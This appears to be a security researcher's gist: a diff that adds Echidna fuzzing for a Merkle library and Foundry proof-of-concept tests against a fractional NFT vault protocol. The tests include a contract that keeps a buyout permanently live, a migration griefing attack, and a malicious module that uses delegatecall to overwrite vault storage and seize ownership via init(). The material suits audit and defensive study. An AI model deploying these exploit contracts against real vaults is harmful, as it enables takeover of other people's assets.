Skip to content

Instantly share code, notes, and snippets.

@sseefried
Created July 19, 2022 09:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sseefried/b198ecfc730fc5f829ee236132feda3a to your computer and use it in GitHub Desktop.
Save sseefried/b198ecfc730fc5f829ee236132feda3a to your computer and use it in GitHub Desktop.
diff --git a/echidna/.gitignore b/echidna/.gitignore
new file mode 100644
index 0000000..ccaff16
--- /dev/null
+++ b/echidna/.gitignore
@@ -0,0 +1,2 @@
+e2e-cvg*
+crytic-export/
diff --git a/echidna/Echidna.sol b/echidna/Echidna.sol
new file mode 100644
index 0000000..f565461
--- /dev/null
+++ b/echidna/Echidna.sol
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.13;
+
+import "./MerkleBase.sol";
+
+contract Echidna {
+
+ MerkleBase merkle;
+ constructor() {
+ merkle = new MerkleBase();
+ }
+
+ // function testLeaves(bytes32[] memory leaves, uint256 seed) public {
+ // require(leaves.length > 10);
+ // uint256 node = seed % leaves.length;
+ // for (uint256 i = 0; i < leaves.length; i++) {
+ // require(uint256(leaves[i]) > 0);
+ // }
+ // bytes32[] memory proof = merkle.getProof(leaves, node);
+ // bytes32 root = merkle.getRoot(leaves);
+ // assert(merkle.verifyProof(root, proof, leaves[node]));
+ // }
+
+ bytes32 lastHash = bytes32(0);
+
+
+ function toBytes(uint256 x) internal returns (bytes memory b) {
+ b = new bytes(32);
+ assembly { mstore(add(b, 32), x) }
+}
+ function nextValue() internal returns (bytes32) {
+ lastHash = keccak256(toBytes(uint256(lastHash) + 1));
+ return lastHash;
+ }
+
+
+ function testLeaves(uint256 seed) public {
+ uint256 len = seed % 200;
+ bytes32[] memory leaves = new bytes32[](len);
+ for (uint i = 0; i < len; i++) {
+ leaves[i] = nextValue();
+ }
+ uint256 node = seed % len;
+
+ bytes32[] memory proof = merkle.getProof(leaves, node);
+ bytes32 root = merkle.getRoot(leaves);
+ assert(merkle.verifyProof(root, proof, leaves[node]));
+ }
+
+
+}
diff --git a/echidna/MerkleBase.sol b/echidna/MerkleBase.sol
new file mode 100644
index 0000000..b2e10f0
--- /dev/null
+++ b/echidna/MerkleBase.sol
@@ -0,0 +1,193 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.13;
+
+/// @title Merkle Base
+/// @author Modified from Murky (https://github.com/dmfxyz/murky/blob/main/src/common/MurkyBase.sol)
+/// @notice Utility contract for generating merkle roots and verifying proofs
+contract MerkleBase {
+ constructor() {}
+
+ /// @notice Hashes two leaf pairs
+ /// @param _left Node on left side of tree level
+ /// @param _right Node on right side of tree level
+ /// @return data Result hash of node params
+ function hashLeafPairs(bytes32 _left, bytes32 _right)
+ public
+ pure
+ returns (bytes32 data)
+ {
+ // Return opposite node if checked node is of bytes zero value
+ if (_left == bytes32(0)) return _right;
+ if (_right == bytes32(0)) return _left;
+
+ assembly {
+ // TODO: This can be aesthetically simplified with a switch. Not sure it will
+ // save much gas but there are other optimizations to be had in here.
+ if or(lt(_left, _right), eq(_left, _right)) {
+ mstore(0x0, _left)
+ mstore(0x20, _right)
+ }
+ if gt(_left, _right) {
+ mstore(0x0, _right)
+ mstore(0x20, _left)
+ }
+ data := keccak256(0x0, 0x40)
+ }
+ }
+
+ /// @notice Verifies the merkle proof of a given value
+ /// @param _root Hash of merkle root
+ /// @param _proof Merkle proof
+ /// @param _valueToProve Leaf node being proven
+ /// @return Status of proof verification
+ function verifyProof(
+ bytes32 _root,
+ bytes32[] memory _proof,
+ bytes32 _valueToProve
+ ) public pure returns (bool) {
+ // proof length must be less than max array size
+ bytes32 rollingHash = _valueToProve;
+ unchecked {
+ for (uint256 i = 0; i < _proof.length; ++i) {
+ rollingHash = hashLeafPairs(rollingHash, _proof[i]);
+ }
+ }
+ return _root == rollingHash;
+ }
+
+ /// @notice Generates the merkle root of a tree
+ /// @param _data Leaf nodes of the merkle tree
+ /// @return Hash of merkle root
+ function getRoot(bytes32[] memory _data) public pure returns (bytes32) {
+ require(_data.length > 1, "wont generate root for single leaf");
+ while (_data.length > 1) {
+ _data = hashLevel(_data);
+ }
+ return _data[0];
+ }
+
+ /// @notice Generates the merkle proof for a leaf node in a given tree
+ /// @param _data Leaf nodes of the merkle tree
+ /// @param _node Index of the node in the tree
+ /// @return Merkle proof
+ function getProof(bytes32[] memory _data, uint256 _node)
+ public
+ pure
+ returns (bytes32[] memory)
+ {
+ require(_data.length > 1, "wont generate proof for single leaf");
+ // The size of the proof is equal to the ceiling of log2(numLeaves)
+ uint256 size = log2ceil_naive(_data.length);
+ bytes32[] memory result = new bytes32[](size);
+ uint256 pos;
+ uint256 counter;
+
+ // Two overflow risks: node, pos
+ // node: max array size is 2**256-1. Largest index in the array will be 1 less than that. Also,
+ // for dynamic arrays, size is limited to 2**64-1
+ // pos: pos is bounded by log2(data.length), which should be less than type(uint256).max
+ while (_data.length > 1) {
+ unchecked {
+ if (_node % 2 == 1) {
+ result[pos] = _data[_node - 1];
+ } else if (_node + 1 == _data.length) {
+ result[pos] = bytes32(0);
+ ++counter;
+ } else {
+ result[pos] = _data[_node + 1];
+ }
+ ++pos;
+ _node = _node / 2;
+ }
+ _data = hashLevel(_data);
+ }
+
+ // Dynamic array to filter out address(0) since proof size is rounded up
+ // This is done to return the actual proof size of the indexed node
+ bytes32[] memory arr = new bytes32[](size - counter);
+ unchecked {
+ uint256 offset;
+ for (uint256 i; i < result.length; ++i) {
+ if (result[i] != bytes32(0)) {
+ arr[i - offset] = result[i];
+ } else {
+ ++offset;
+ }
+ }
+ }
+
+ return arr;
+ }
+
+ /// @dev Hashes nodes at the given tree level
+ /// @param _data Nodes at the current level
+ /// @return result Hashes of nodes at the next level
+ function hashLevel(bytes32[] memory _data)
+ private
+ pure
+ returns (bytes32[] memory result)
+ {
+ // Function is private, and all internal callers check that data.length >=2.
+ // Underflow is not possible as lowest possible value for data/result index is 1
+ // overflow should be safe as length is / 2 always.
+ unchecked {
+ uint256 length = _data.length;
+ if (length & 0x1 == 1) {
+ result = new bytes32[](length / 2 + 1);
+ result[result.length - 1] = hashLeafPairs(
+ _data[length - 1],
+ bytes32(0)
+ );
+ } else {
+ result = new bytes32[](length / 2);
+ }
+
+ // pos is upper bounded by data.length / 2, so safe even if array is at max size
+ uint256 pos;
+ for (uint256 i; i < length - 1; i += 2) {
+ result[pos] = hashLeafPairs(_data[i], _data[i + 1]);
+ ++pos;
+ }
+ }
+ }
+
+ /// @notice Calculates proof size based on size of tree
+ /// @dev Note that x is assumed > 0 and proof size is not precise
+ /// @param x Size of the merkle tree
+ /// @return ceil Rounded value of proof size
+ function log2ceil_naive(uint256 x) public pure returns (uint256 ceil) {
+ uint256 pOf2;
+ // If x is a power of 2, then this function will return a ceiling
+ // that is 1 greater than the actual ceiling. So we need to check if
+ // x is a power of 2, and subtract one from ceil if so.
+ assembly {
+ // we check by seeing if x == (~x + 1) & x. This applies a mask
+ // to find the lowest set bit of x and then checks it for equality
+ // with x. If they are equal, then x is a power of 2.
+
+ /* Example
+ x has single bit set
+ x := 0000_1000
+ (~x + 1) = (1111_0111) + 1 = 1111_1000
+ (1111_1000 & 0000_1000) = 0000_1000 == x
+ x has multiple bits set
+ x := 1001_0010
+ (~x + 1) = (0110_1101 + 1) = 0110_1110
+ (0110_1110 & x) = 0000_0010 != x
+ */
+
+ // we do some assembly magic to treat the bool as an integer later on
+ pOf2 := eq(and(add(not(x), 1), x), x)
+ }
+
+ // if x == type(uint256).max, than ceil is capped at 256
+ // if x == 0, then pO2 == 0, so ceil won't underflow
+ unchecked {
+ while (x > 0) {
+ x >>= 1;
+ ceil++;
+ }
+ ceil -= pOf2; // see above
+ }
+ }
+}
diff --git a/echidna/echidna.conf.yaml b/echidna/echidna.conf.yaml
new file mode 100644
index 0000000..b42423d
--- /dev/null
+++ b/echidna/echidna.conf.yaml
@@ -0,0 +1,3 @@
+testMode: assertion
+coverage: true
+corpusDir: 'e2e-cvg'
\ No newline at end of file
diff --git a/echidna/run-echidna.sh b/echidna/run-echidna.sh
new file mode 100755
index 0000000..f6203b8
--- /dev/null
+++ b/echidna/run-echidna.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+echidna-test Echidna.sol --config ./echidna.conf.yaml --test-limit 300000
diff --git a/src/modules/MaliciousMod.sol b/src/modules/MaliciousMod.sol
new file mode 100644
index 0000000..10162a0
--- /dev/null
+++ b/src/modules/MaliciousMod.sol
@@ -0,0 +1,56 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.13;
+
+import {IVault} from "../interfaces/IVault.sol";
+import {IVaultRegistry, Permission} from "../interfaces/IVaultRegistry.sol";
+import "../targets/Malicious.sol";
+
+contract MaliciousMod {
+
+ Malicious malicious;
+
+ constructor(address _malicious) {
+ malicious = Malicious(_malicious);
+ }
+
+ /// @dev Callback for receiving ether when the calldata is empty
+ receive() external payable {}
+
+ function setIndex(address vault,
+ uint256 i,
+ bytes32 val,
+ bytes32[] calldata setIndexProof) external {
+ bytes memory data = abi.encodeCall(malicious.setIndex, (i, val));
+
+ IVault(payable(vault)).execute(address(malicious), data, setIndexProof);
+ }
+
+
+ function getLeafNodes() external view returns (bytes32[] memory nodes) {
+ Permission[] memory permissions = getPermissions();
+ nodes = new bytes32[](permissions.length);
+ for (uint256 i; i < permissions.length; ) {
+ // Hashes permission into leaf node
+ nodes[i] = keccak256(abi.encode(permissions[i]));
+ // Can't overflow since loop is a fixed size
+ unchecked {
+ ++i;
+ }
+ }
+ }
+
+ function getPermissions()
+ public
+ view
+ returns (Permission[] memory permissions)
+ {
+ permissions = new Permission[](1);
+
+ permissions[0] = Permission(
+ address(this),
+ address(malicious),
+ malicious.setIndex.selector
+ );
+ }
+
+}
\ No newline at end of file
diff --git a/src/targets/Malicious.sol b/src/targets/Malicious.sol
new file mode 100644
index 0000000..d82ed34
--- /dev/null
+++ b/src/targets/Malicious.sol
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.13;
+
+contract Malicious {
+
+ bytes32 slot0;
+ bytes32 slot1;
+ bytes32 slot2;
+ bytes32 slot3;
+ bytes32 slot4;
+ bytes32 slot5;
+ bytes32 slot6;
+ bytes32 slot7;
+ bytes32 slot8;
+ bytes32 slot9;
+
+ function setIndex(uint256 i, bytes32 val) public {
+ require (i < 10);
+ if (i == 0) {
+ slot0 = val;
+ } else if (i == 1) {
+ slot1 = val;
+ } else if (i == 2) {
+ slot2 = val;
+ } else if (i == 3) {
+ slot3 = val;
+ } else if (i == 4) {
+ slot4 = val;
+ } else if (i == 5) {
+ slot5 = val;
+ } else if (i == 6) {
+ slot6 = val;
+ } else if (i == 7) {
+ slot7 = val;
+ } else if (i == 8) {
+ slot8 = val;
+ } else if (i == 9) {
+ slot9 = val;
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/test/BugsBuyout.t.sol b/test/BugsBuyout.t.sol
new file mode 100644
index 0000000..8b1c978
--- /dev/null
+++ b/test/BugsBuyout.t.sol
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: Unlicense
+pragma solidity 0.8.13;
+
+import "./BuyoutReverter.sol";
+import "./TestUtil.sol";
+import "../src/targets/Supply.sol";
+
+contract BuyoutTest is TestUtil {
+ /// =================
+ /// ===== SETUP =====
+ /// =================
+ function setUp() public {
+ setUpContract();
+ alice = setUpUser(111, 1);
+ bob = setUpUser(222, 2);
+
+ vm.label(address(this), "BuyoutTest");
+ vm.label(alice.addr, "Alice");
+ vm.label(bob.addr, "Bob");
+ }
+
+ /// ======================
+ /// ===== END BUYOUT =====
+ /// ======================
+ // function testBugs1() public {
+ // initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
+
+ // bob.buyoutModule.start{value: 1 ether}(vault);
+ // alice.buyoutModule.sellFractions(vault, 1000);
+ // vm.warp(rejectionPeriod + 1);
+
+ // assertEq(getFractionBalance(bob.addr), 0);
+ // assertEq(getFractionBalance(buyout), 6000);
+
+ // vm.startPrank(IVault(vault).owner());
+ // IVault(vault).transferOwnership(bob.addr);
+ // vm.stopPrank();
+
+ // bob.buyoutModule.end(vault, burnProof);
+
+ // assertEq(getFractionBalance(bob.addr), 0);
+ // assertEq(getFractionBalance(buyout), 0);
+ // }
+
+ function testPerpetualBuyoutBug() public {
+ initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
+
+ address buyoutUnderlying = bob.buyoutModule.proxyContract();
+
+ BuyoutReverter buyoutReverter = new BuyoutReverter(vault, buyoutUnderlying);
+
+ assert(bob.addr != address(buyoutReverter));
+
+ (address token,) = registry.vaultToToken(vault);
+
+ vm.startPrank(address(buyoutReverter));
+ FERC1155(token).setApprovalForAll(buyoutUnderlying, true);
+ vm.stopPrank();
+
+ // ATTAAAAAAAAAAAAAACK!
+ buyoutReverter.attack{value: 1 ether}();
+
+ (,address proposer,,,,) = bob.buyoutModule.buyoutInfo(vault);
+ assertEq(proposer, address(buyoutReverter));
+
+ vm.warp(rejectionPeriod + 1);
+
+ IBuyout(buyoutModule).end(vault, burnProof);
+
+ (,,State state,,,) = bob.buyoutModule.buyoutInfo(vault);
+
+ // The buyout proposal is still LIVE!
+ assertEq(uint256(state), uint256(State.LIVE));
+ }
+
+
+}
diff --git a/test/BugsMigration.t.sol b/test/BugsMigration.t.sol
new file mode 100644
index 0000000..5d078e7
--- /dev/null
+++ b/test/BugsMigration.t.sol
@@ -0,0 +1,66 @@
+// SPDX-License-Identifier: Unlicense
+pragma solidity 0.8.13;
+
+import "./TestUtil.sol";
+import "../src/interfaces/IMigration.sol";
+
+contract MigrationTest is TestUtil {
+ /// =================
+ /// ===== SETUP =====
+ /// =================
+ function setUp() public {
+ setUpContract();
+ alice = setUpUser(111, 1);
+ bob = setUpUser(222, 2);
+
+ vm.label(address(this), "MigrateTest");
+ vm.label(alice.addr, "Alice");
+ vm.label(bob.addr, "Bob");
+ }
+
+ function testGriefCommit() public {
+ vm.warp(1657692668389);
+ initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
+ (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
+
+ address[] memory modules = new address[](1);
+ modules[0] = address(mockModule);
+ // Bob makes the proposal
+ bob.migrationModule.propose(
+ vault,
+ modules,
+ nftReceiverPlugins,
+ nftReceiverSelectors,
+ TOTAL_SUPPLY * 2,
+ 1 ether
+ );
+ // Bob joins the proposal
+ bob.migrationModule.join{value: 1 ether}(vault, 1, HALF_SUPPLY);
+
+ // Alice submits a spurious proposal with a low target price
+ // that she can easily provide
+ alice.migrationModule.propose(
+ vault,
+ modules,
+ nftReceiverPlugins,
+ nftReceiverSelectors,
+ TOTAL_SUPPLY * 2,
+ 1 wei
+ );
+
+ alice.migrationModule.join{value: 2 wei}(vault, 2, 0);
+ bool aliceStarted = alice.migrationModule.commit(vault, 2);
+ assertTrue(aliceStarted);
+
+ // Bob cannot `commit` now since a buyout for a spurious
+ // proposal has been made.
+ vm.expectRevert(abi.encodeWithSelector(
+ IBuyout.InvalidState.selector,
+ State.INACTIVE,
+ State.LIVE));
+ bob.migrationModule.commit(vault, 1);
+
+ }
+
+
+}
diff --git a/test/BuyoutReverter.sol b/test/BuyoutReverter.sol
new file mode 100644
index 0000000..3837c9b
--- /dev/null
+++ b/test/BuyoutReverter.sol
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: Unlicense
+pragma solidity 0.8.13;
+
+import "../src/interfaces/IBuyout.sol";
+import "../src/interfaces/IVault.sol";
+
+contract BuyoutReverter {
+
+ IVault vault;
+ IBuyout buyoutModule;
+
+ constructor(address _vault, address _buyoutModule) {
+ vault = IVault(_vault);
+ buyoutModule = IBuyout(_buyoutModule);
+
+ }
+
+ function attack() external payable {
+ buyoutModule.start{value: msg.value}(address(vault));
+ }
+
+ function onERC1155Received(
+ address /*operator*/,
+ address /*from*/,
+ uint256 /*id*/,
+ uint256 /*value*/,
+ bytes calldata /*data*/) external pure returns (bytes4) {
+ return bytes4(0xf23a6e61);
+ }
+
+ receive() payable external {
+ buyoutModule.start{value: msg.value}(address(vault));
+
+ }
+
+}
\ No newline at end of file
diff --git a/test/Malicious.t.sol b/test/Malicious.t.sol
new file mode 100644
index 0000000..95bca8e
--- /dev/null
+++ b/test/Malicious.t.sol
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: Unlicense
+pragma solidity 0.8.13;
+
+import "forge-std/Test.sol";
+import "../src/targets/Malicious.sol";
+import "./MaliciousTestUtil.sol";
+
+contract Unwise {
+
+ uint256 public blah;
+ address public test;
+
+ function callUnwisely(address target, bytes calldata data) public {
+ uint256 stipend = gasleft() - 5000;
+ (bool success,) = target.delegatecall{gas: stipend}(data);
+ require(success);
+ }
+
+}
+
+contract MaliciousTest is MaliciousTestUtil {
+
+ Unwise unwise;
+ Malicious malicious;
+
+ /// =================
+ /// ===== SETUP =====
+ /// =================
+ function setUp() public {
+ malicious = new Malicious();
+ unwise = new Unwise();
+
+ setUpContract();
+ alice = setUpUser(111, 1);
+ bob = setUpUser(222, 2);
+
+ vm.label(address(this), "MaliciousTest");
+ vm.label(alice.addr, "Alice");
+ vm.label(bob.addr, "Bob");
+ }
+
+ function testMalicious() public {
+ bytes memory data = abi.encodeCall(malicious.setIndex, (0, bytes32(uint256(42))));
+ assertEq(unwise.blah(), 0);
+ unwise.callUnwisely(address(malicious), data);
+ assertEq(unwise.blah(), 42);
+
+
+ data = abi.encodeCall(malicious.setIndex, (1, bytes32(uint256(0xcafebabe))));
+ assertEq(unwise.test(), address(0));
+ unwise.callUnwisely(address(malicious), data);
+ assertEq(unwise.test(), address(uint160(0xcafebabe)));
+ }
+
+
+ function testMaliciousModule() public {
+ initializeMalicious(alice);
+
+ vm.startPrank(bob.addr); // Let's be Bob
+
+ // set the nonce back to 0
+ maliciousModule.setIndex(vault, 2, bytes32(uint256(0)), setIndexProof);
+
+ // When nonce = 0 this allows anyone to call init() and become the owner
+ IVault(vault).init();
+
+ vm.stopPrank();
+
+ // Bob is now the owner of the vault!
+ assertEq(IVault(vault).owner(), bob.addr);
+
+
+ }
+
+
+
+
+}
diff --git a/test/MaliciousTestUtil.sol b/test/MaliciousTestUtil.sol
new file mode 100644
index 0000000..ff37a49
--- /dev/null
+++ b/test/MaliciousTestUtil.sol
@@ -0,0 +1,332 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.13;
+
+import "forge-std/Test.sol";
+import {Blacksmith} from "./blacksmith/Blacksmith.sol";
+import {BaseVault, BaseVaultBS} from "./blacksmith/BaseVault.bs.sol";
+import {Buyout, BuyoutBS} from "./blacksmith/Buyout.bs.sol";
+import {FERC1155, FERC1155BS} from "./blacksmith/FERC1155.bs.sol";
+import {Metadata, MetadataBS} from "./blacksmith/Metadata.bs.sol";
+import {Migration, MigrationBS} from "./blacksmith/Migration.bs.sol";
+import {MaliciousMod, MaliciousModBS} from "./blacksmith/MaliciousMod.bs.sol";
+import {Minter} from "../src/modules/Minter.sol";
+import {MockModule} from "../src/mocks/MockModule.sol";
+import {MockERC20, MockERC20BS} from "./blacksmith/MockERC20.bs.sol";
+import {MockERC721, MockERC721BS} from "./blacksmith/MockERC721.bs.sol";
+import {MockERC1155, MockERC1155BS} from "./blacksmith/MockERC1155.bs.sol";
+import {NFTReceiver} from "../src/utils/NFTReceiver.sol";
+import {Supply, SupplyBS} from "./blacksmith/Supply.bs.sol";
+import {Malicious, MaliciousBS} from "./blacksmith/Malicious.bs.sol";
+import {Transfer, TransferBS} from "./blacksmith/Transfer.bs.sol";
+import {TransferReference} from "../src/references/TransferReference.sol";
+import {Vault, VaultBS} from "./blacksmith/Vault.bs.sol";
+import {VaultFactory, VaultFactoryBS} from "./blacksmith/VaultFactory.bs.sol";
+import {VaultRegistry, VaultRegistryBS} from "./blacksmith/VaultRegistry.bs.sol";
+import {WETH} from "@rari-capital/solmate/src/tokens/WETH.sol";
+
+import {IBuyout, State} from "../src/interfaces/IBuyout.sol";
+import {IERC20} from "../src/interfaces/IERC20.sol";
+import {IERC721} from "../src/interfaces/IERC721.sol";
+import {IERC1155} from "../src/interfaces/IERC1155.sol";
+import {IFERC1155} from "../src/interfaces/IFERC1155.sol";
+import {IMigration} from "../src/interfaces/IMigration.sol";
+import {IModule} from "../src/interfaces/IModule.sol";
+import {IVault} from "../src/interfaces/IVault.sol";
+import {IVaultFactory} from "../src/interfaces/IVaultFactory.sol";
+import {IVaultRegistry} from "../src/interfaces/IVaultRegistry.sol";
+
+import "../src/constants/Permit.sol";
+
+contract MaliciousTestUtil is Test {
+ BaseVault baseVault;
+ Buyout buyoutModule;
+ Metadata metadata;
+ Migration migrationModule;
+ MaliciousMod maliciousModule;
+ Minter minter;
+ MockModule mockModule;
+ NFTReceiver receiver;
+ Supply supplyTarget;
+ Malicious maliciousTarget;
+ Transfer transferTarget;
+ Vault vaultProxy;
+ VaultRegistry registry;
+ WETH weth;
+
+ FERC1155BS fERC1155;
+
+ struct User {
+ address addr;
+ uint256 pkey;
+ Blacksmith base;
+ BaseVaultBS baseVault;
+ BuyoutBS buyoutModule;
+ MigrationBS migrationModule;
+ MaliciousModBS maliciousModule;
+ MockERC721BS erc721;
+ MockERC1155BS erc1155;
+ MockERC20BS erc20;
+ TransferBS transfer;
+ VaultRegistryBS registry;
+ FERC1155BS ferc1155;
+ VaultBS vaultProxy;
+ }
+
+ User alice;
+ User bob;
+ User eve;
+ address buyout;
+ address erc20;
+ address erc721;
+ address erc1155;
+ address factory;
+ address migration;
+ address token;
+ address vault;
+ bool approved;
+ uint256 deadline;
+ uint256 nonce;
+ uint256 proposalPeriod;
+ uint256 rejectionPeriod;
+ uint256 tokenId;
+
+ address[] modules = new address[](2);
+
+ bytes32 merkleRoot;
+ bytes32[] merkleTree;
+ bytes32[] hashes;
+ bytes32[] mintProof = new bytes32[](3);
+ bytes32[] setIndexProof = new bytes32[](3);
+
+ bytes4[] nftReceiverSelectors = new bytes4[](0);
+ address[] nftReceiverPlugins = new address[](0);
+
+ uint256 constant INITIAL_BALANCE = 100 ether;
+ uint256 constant TOTAL_SUPPLY = 10000;
+ uint256 constant HALF_SUPPLY = TOTAL_SUPPLY / 2;
+ address constant WETH_ADDRESS =
+ address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
+
+ /// =================
+ /// ===== USERS =====
+ /// =================
+ function createUser(address _addr, uint256 _privateKey)
+ public
+ returns (User memory)
+ {
+ Blacksmith base = new Blacksmith(_addr, _privateKey);
+ BaseVaultBS _minter = new BaseVaultBS(
+ _addr,
+ _privateKey,
+ address(baseVault)
+ );
+ BuyoutBS _buyout = new BuyoutBS(
+ _addr,
+ _privateKey,
+ address(buyoutModule)
+ );
+ MigrationBS _migration = new MigrationBS(
+ _addr,
+ _privateKey,
+ address(migrationModule)
+ );
+ MaliciousModBS _malicious = new MaliciousModBS(
+ _addr,
+ _privateKey,
+ address(maliciousModule)
+ );
+ MockERC721BS _erc721 = new MockERC721BS(
+ _addr,
+ _privateKey,
+ address(erc721)
+ );
+ MockERC1155BS _erc1155 = new MockERC1155BS(
+ _addr,
+ _privateKey,
+ address(erc1155)
+ );
+ MockERC20BS _erc20 = new MockERC20BS(
+ _addr,
+ _privateKey,
+ address(erc20)
+ );
+ TransferBS _transfer = new TransferBS(
+ _addr,
+ _privateKey,
+ address(transferTarget)
+ );
+ VaultRegistryBS _registry = new VaultRegistryBS(
+ _addr,
+ _privateKey,
+ address(registry)
+ );
+ FERC1155BS _ferc1155 = new FERC1155BS(_addr, _privateKey, address(0));
+ VaultBS _proxy = new VaultBS(_addr, _privateKey, address(0));
+ base.deal(INITIAL_BALANCE);
+ return
+ User(
+ base.addr(),
+ base.pkey(),
+ base,
+ _minter,
+ _buyout,
+ _migration,
+ _malicious,
+ _erc721,
+ _erc1155,
+ _erc20,
+ _transfer,
+ _registry,
+ _ferc1155,
+ _proxy
+ );
+ }
+
+ /// ==================
+ /// ===== SETUPS =====
+ /// ==================
+ function setUpContract() public {
+ registry = new VaultRegistry();
+ supplyTarget = new Supply(address(registry));
+ maliciousTarget = new Malicious();
+ minter = new Minter(address(supplyTarget));
+ transferTarget = new Transfer();
+ receiver = new NFTReceiver();
+ buyoutModule = new Buyout(
+ address(registry),
+ address(supplyTarget),
+ address(transferTarget)
+ );
+ migrationModule = new Migration(
+ address(buyoutModule),
+ address(registry),
+ address(supplyTarget)
+ );
+ maliciousModule = new MaliciousMod(address(maliciousTarget));
+ baseVault = new BaseVault(address(registry), address(supplyTarget));
+ erc20 = address(new MockERC20());
+ erc721 = address(new MockERC721());
+ erc1155 = address(new MockERC1155());
+
+ vm.label(address(registry), "VaultRegistry");
+ vm.label(address(supplyTarget), "SupplyTarget");
+ vm.label(address(maliciousTarget), "MaliciousTarget");
+ vm.label(address(transferTarget), "TransferTarget");
+ vm.label(address(baseVault), "BaseVault");
+ vm.label(address(buyoutModule), "BuyoutModule");
+ vm.label(address(migrationModule), "MigrationModule");
+ vm.label(address(maliciousModule), "MaliciousModule");
+ vm.label(address(erc20), "ERC20");
+ vm.label(address(erc721), "ERC721");
+ vm.label(address(erc1155), "ERC1155");
+
+ setUpWETH();
+ setUpProof();
+ }
+
+ function setUpWETH() public {
+ WETH _weth = new WETH();
+ bytes memory code = address(_weth).code;
+ vm.etch(WETH_ADDRESS, code);
+ weth = WETH(payable(WETH_ADDRESS));
+
+ vm.label(WETH_ADDRESS, "WETH");
+ }
+
+ function setUpProof() public {
+ modules[0] = address(baseVault);
+ modules[1] = address(maliciousModule);
+
+ hashes = new bytes32[](2);
+ hashes[0] = baseVault.getLeafNodes()[0];
+ hashes[1] = maliciousModule.getLeafNodes()[0];
+
+ assert(baseVault.getLeafNodes().length == 1);
+ assert(maliciousModule.getLeafNodes().length == 1);
+
+ merkleTree = baseVault.generateMerkleTree(modules);
+ assert(merkleTree.length == 6); // WEIRD!
+
+ merkleRoot = baseVault.getRoot(merkleTree);
+ mintProof = baseVault.getProof(hashes, 0);
+ setIndexProof = baseVault.getProof(hashes, 1);
+ }
+
+ function setUpUser(uint256 _privateKey, uint256 _tokenId)
+ public
+ returns (User memory user)
+ {
+ user = createUser(address(0), _privateKey);
+ MockERC721(erc721).mint(user.addr, _tokenId);
+ }
+
+ /// ======================
+ /// ===== BASE VAULT =====
+ /// ======================
+ function deployBaseVault(User memory _user, uint256 _fractions) public {
+ vault = _user.baseVault.deployVault(
+ _fractions,
+ modules,
+ nftReceiverPlugins,
+ nftReceiverSelectors,
+ mintProof
+ );
+ _user.erc721.safeTransferFrom(_user.addr, vault, 1);
+ vm.label(vault, "VaultProxy");
+ }
+
+
+ function setUpMalicious(
+ User memory _user1
+ ) public {
+ deployBaseVault(_user1, 10000000);
+ vm.label(vault, "VaultProxy");
+ }
+
+
+
+ /// ===========================
+ /// ===== MIGRATION ===========
+ /// ===========================
+ function setUpMigration(
+ User memory _user1,
+ User memory _user2,
+ uint256 _fractions
+ ) public {
+ deployBaseVault(_user1, _fractions);
+ (token, tokenId) = registry.vaultToToken(vault);
+ _user1.ferc1155 = new FERC1155BS(address(0), 111, token);
+ _user2.ferc1155 = new FERC1155BS(address(0), 222, token);
+
+ mockModule = new MockModule();
+ buyout = address(buyoutModule);
+ migration = address(migrationModule);
+ proposalPeriod = buyoutModule.PROPOSAL_PERIOD();
+ rejectionPeriod = buyoutModule.REJECTION_PERIOD();
+
+ vm.label(vault, "VaultProxy");
+ vm.label(token, "Token");
+ }
+
+ /// ===========================
+ /// ===== INITIALIZATIONS =====
+ /// ===========================
+ function initializeDeploy() public view returns (bytes memory deployVault) {
+ deployVault = abi.encodeCall(
+ baseVault.deployVault,
+ (
+ TOTAL_SUPPLY,
+ modules,
+ nftReceiverPlugins,
+ nftReceiverSelectors,
+ mintProof
+ )
+ );
+ }
+ function initializeMalicious(
+ User memory _user1
+ ) public {
+ setUpMalicious(_user1);
+ }
+
+}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment